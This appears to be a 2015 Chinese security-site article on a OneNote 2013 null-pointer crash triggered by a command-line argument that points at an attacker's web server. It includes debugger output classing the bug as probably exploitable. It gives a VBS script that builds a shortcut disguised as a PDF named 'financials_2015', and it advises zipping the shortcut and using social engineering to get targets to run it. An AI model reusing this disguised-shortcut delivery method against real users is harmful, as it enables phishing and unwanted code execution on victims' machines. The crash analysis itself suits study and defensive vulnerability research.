<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("微软,OneNote,空指针,读取,RCE") PageTitle=stripHTML("微软OneNote 2013空指针读取或造成RCE") ArticleIntro=stripHTML("根据WinDBG的!exploitable扩展,微软OneNote 2013至少存在一个拒绝服务漏洞并且极易造成远程代码执行。") Articlecontent=stripHTML("问题存在  软件:One Note 2013  操作系统名称:Microsoft Windows 7 Professional  操作系统版本:6.1.7601…") ModuleName = stripHTML("exploits") InfoID = stripHTML("221607") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> 微软OneNote 2013空指针读取或造成RCE - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> 最新漏洞 >> win 漏洞 >> 正文

[图文]微软OneNote 2013空指针读取或造成RCE

2015/12/24 作者:鸢尾 来源: 网络收集
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

  问题存在

  软件:One Note 2013

  操作系统名称:Microsoft Windows 7 Professional

  操作系统版本:6.1.7601 Service Pack 1 Build 7601

  制造商:微软公司

  根据WinDBG的!exploitable扩展,微软OneNote 2013至少存在一个拒绝服务漏洞并且极易造成远程代码执行。

  当你在你所控制的web服务器的根目录下通过/runcit_loadandrender请求一个以下文件类型之一的URL,该问题就显现出来了:

  index.htm

  index.htm.old

  index.html

  index.html.old

  index.php

  index.php.old

  需要注意的是,对于该漏洞所有请求上述的文件都在远程web服务器根目录下,但是不能够直接请求。当单纯的调用web服务器下的根目录,OneNote似乎会去检测上述文件是否存在。

  Part 1: 设置及执行

  首先在你控制的服务器上创建一个index.htm(或者上述的文件类型)文件。在该文件中不需要任何的内容,虽然对于长远的利用来说里面是需要呈现一些内容的,但是我们现在不需要考虑这么长远。

  其次,在C:\Program Files\Microsoft Office 15\root\office15目录下运行以下CMD命令:

  ONENOTE.EXE /runcit_loadandrender http://your_web_server.com/

  注意上面的命令,我们没有直接请求index.htm文件。如果我们直接请求该文件,那是不会成功的。只需要将路径指向网络服务器的根目录即可。

  执行上面的命令后,得到的结果:

  

  Part 2: 分发

  我们需要将一个文件传送到目标,在不产生过多让人生疑的情况下执行上述命令。

  对于让用户自己执行上述命令来说几率小的可怜,但我们可以试试简单的将其压缩成.lnk文件

  创建一个.lnk文件,我没有选择“右键>新建>快捷方式”这种处理方式,而是写了一个.vbs文件用来创建.lnk文件,最终发送到目标。

  CreateLnk.vbs:

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\temp\financials_2015.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
    oLink.TargetPath = "C:\Program Files\Microsoft Office 15\root\office15\ONENOTE.EXE"
    oLink.Arguments = "/runcit_loadandrender http://yourserver.com"
    oLink.Description = "Financials_2015"
oLink.Save

  双击文件,会在C:\temp目录下创建一个financials_2015.lnk文件。记得替换相关信息!

  更改快捷方式图标:

  我们会使用PDF图标,你可以从http://www.cltd.net/images/PDF.ico抓取ico图标

  右击/属性你刚才创建的.lnk文件,并单击“更改图标”按钮

  

  指向你的PDF.ico文件,保存/应用等等,最后你应该可以看到:

  

  将结果financials_2015.lnk添加到.ZIP文档内

  大多数RCE利用都有结合社会工程学元素,这就是我们在这里所完成的事情。

  警告:.lnk是不能从zip文件中直接打开的,所以需要用户解压文件。大多数用户都会解压文件,对么?目标接收.zip文件,提取.lnk文件,双击这份看起来很像PDF的文件,之后ONENOTE.exe带着我们的参数在执行!

  仅供参考:或许使用记事本图标更不会引起用户的怀疑,但你得考虑到这份文件被打开的几率。这里就看你是怎么玩转社会工程学的呢!

  Part 3: 调试崩溃 (某种程度上)

  首先我是用系统内置的procdump.exe监控onenote.exe进程,可以得到一份.dmp文件

  在同一个窗口:

procdump.exe ----mp -w onenote.exe

  敲击回车键开始监控ONENOTE.exe进程

  在另外一个窗口,使用存在漏洞的参数执行你的ONENOTE.exe命令:

ONENOTE.EXE /runcit_loadandrender http://your_web_server.com/

  在procdump中你可以看到这些有趣的东西:

  

  正如我们看到的C0000005.ACCESS_VIOLATION,对于进一步分析.dmp文件来说这是一个好消息。

  随着MSEC.dll扩展(!exploitable)在异常中得到一个初步的基础分析,我使用WinDBG来分析.dmp

  打开WinDBG,本例中使用x86版本。CTRL+D导入.dmp文件

  !analyze -v:

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************
*** ERROR: Module load completed but symbols could not be loaded for ONENOTE.EXE
*** WARNING: Unable to verify timestamp for mso.dll
*** ERROR: Module load completed but symbols could not be loaded for mso.dll
GetPageUrlData failed, server returned HTTP status 404
URL requested: http://watson.microsoft.com/StageOne/ONENOTE_EXE/15_0_4763_1000/55f7f10c/ONMAIN_DLL/15_0_4779_1000/5641a4fc/c0000005/003806e3.htm?Retriage=1
FAULTING_IP: 
ONMAIN!Jot::Automation::ObjectModel::WriteToLog+39c42
629706e3 8b01            mov     eax,dword ptr [ecx]
EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 629706e3 (ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x00039c42)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000000
Attempt to read from address 00000000
DEFAULT_BUCKET_ID:  NULL_POINTER_READ
PROCESS_NAME:  ONENOTE.EXE
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1:  00000000
EXCEPTION_PARAMETER2:  00000000
READ_ADDRESS:  00000000 
FOLLOWUP_IP: 
ONMAIN!Jot::Automation::ObjectModel::WriteToLog+39c42
629706e3 8b01            mov     eax,dword ptr [ecx]
MOD_LIST: 
NTGLOBALFLAG:  0
APPLICATION_VERIFIER_FLAGS:  0
FAULTING_THREAD:  00001a94
PRIMARY_PROBLEM_CLASS:  NULL_POINTER_READ
BUGCHECK_STR:  APPLICATION_FAULT_NULL_POINTER_READ
LAST_CONTROL_TRANSFER:  from 62970682 to 629706e3
STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0022461c 62970682 00224640 00000000 91040962 ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x39c42
00224650 6285f7ca 002246f8 00000000 91041652 ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x39be1
00225960 6280781f 08eb5d18 06936480 00000000 ONMAIN!MsoCF::PerfMetrics::Finish+0x7d4b9
0022e84c 62659fa6 08ecd340 0022e87b 9104a752 ONMAIN!MsoCF::PerfMetrics::Finish+0x2550e
0022ec88 62659d89 068969a8 9104a386 08ecd340 ONMAIN!Jot::CJotSurfaceWnd::FScrollBarsOnLeftDefault+0xa933
0022ecb4 62637983 62e75c48 0022ed4c 08ecd340 ONMAIN!Jot::CJotSurfaceWnd::FScrollBarsOnLeftDefault+0xa716
0022ed14 62b8301e 0066cc30 0022ed4c 08ecd340 ONMAIN!Jot::ThemeColors::GetTranslatedColor+0x33a
0022ed68 62b831b0 08f16698 9104a2a6 069961b0 ONMAIN!Jot::MoveFolderDialog+0x207ee
0022ed94 62cee5ba 069961b0 0022ee00 62637983 ONMAIN!Jot::MoveFolderDialog+0x20980
0022eda0 62637983 62e80e6c 08ecd2e0 069961b0 ONMAIN!Jot::GetSchemaFromResourceAsString+0x19b7
0022ee00 01162cd8 0066cc30 0022ef04 069961b0 ONMAIN!Jot::ThemeColors::GetTranslatedColor+0x33a
0022ee18 011465fc 0022ef04 069961b0 9104bbeb ONENOTE+0x62cd8
0022f7a8 01102adb 01219070 00000001 9104b777 ONENOTE+0x465fc
0022fb34 0110217c 0121925c 005d4739 0022fbd8 ONENOTE+0x2adb
0022fb44 01102137 01100000 00000000 005d4739 ONENOTE+0x217c
0022fbd8 7715337a 7efde000 0022fc24 77959882 ONENOTE+0x2137
0022fbe4 77959882 7efde000 7940cd15 00000000 kernel32!BaseThreadInitThunk+0xe
0022fc24 77959855 01101a8c 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0022fc3c 00000000 01101a8c 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  onmain!Jot::Automation::ObjectModel::WriteToLog+39c42
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: ONMAIN
IMAGE_NAME:  ONMAIN.DLL
DEBUG_FLR_IMAGE_TIMESTAMP:  5641a4fc
STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb
FAILURE_BUCKET_ID:  NULL_POINTER_READ_c0000005_ONMAIN.DLL!Jot::Automation::ObjectModel::WriteToLog
BUCKET_ID:  APPLICATION_FAULT_NULL_POINTER_READ_onmain!Jot::Automation::ObjectModel::WriteToLog+39c42
WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/ONENOTE_EXE/15_0_4763_1000/55f7f10c/ONMAIN_DLL/15_0_4779_1000/5641a4fc/c0000005/003806e3.htm?Retriage=1
Followup: MachineOwner
---------

  !exploitable:

0:000> !load C:\Users\Desktop\MSECExtensions_1_6_0\x86\Release\MSEC.dll
0:000> !exploitable
!exploitable 1.6.0.0
Exploitability Classification: PROBABLY_EXPLOITABLE
Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x0000000000039c42 (Hash=0x37399424.0xbf864ca4)
The data from the faulting address is later used as the target for a branch.

  根据微软的!exploitable扩展,这是一个在空指针读取中“可能存在的利用”。

  这个到底能不能利用欢迎看这个DuckDuckGo搜索结果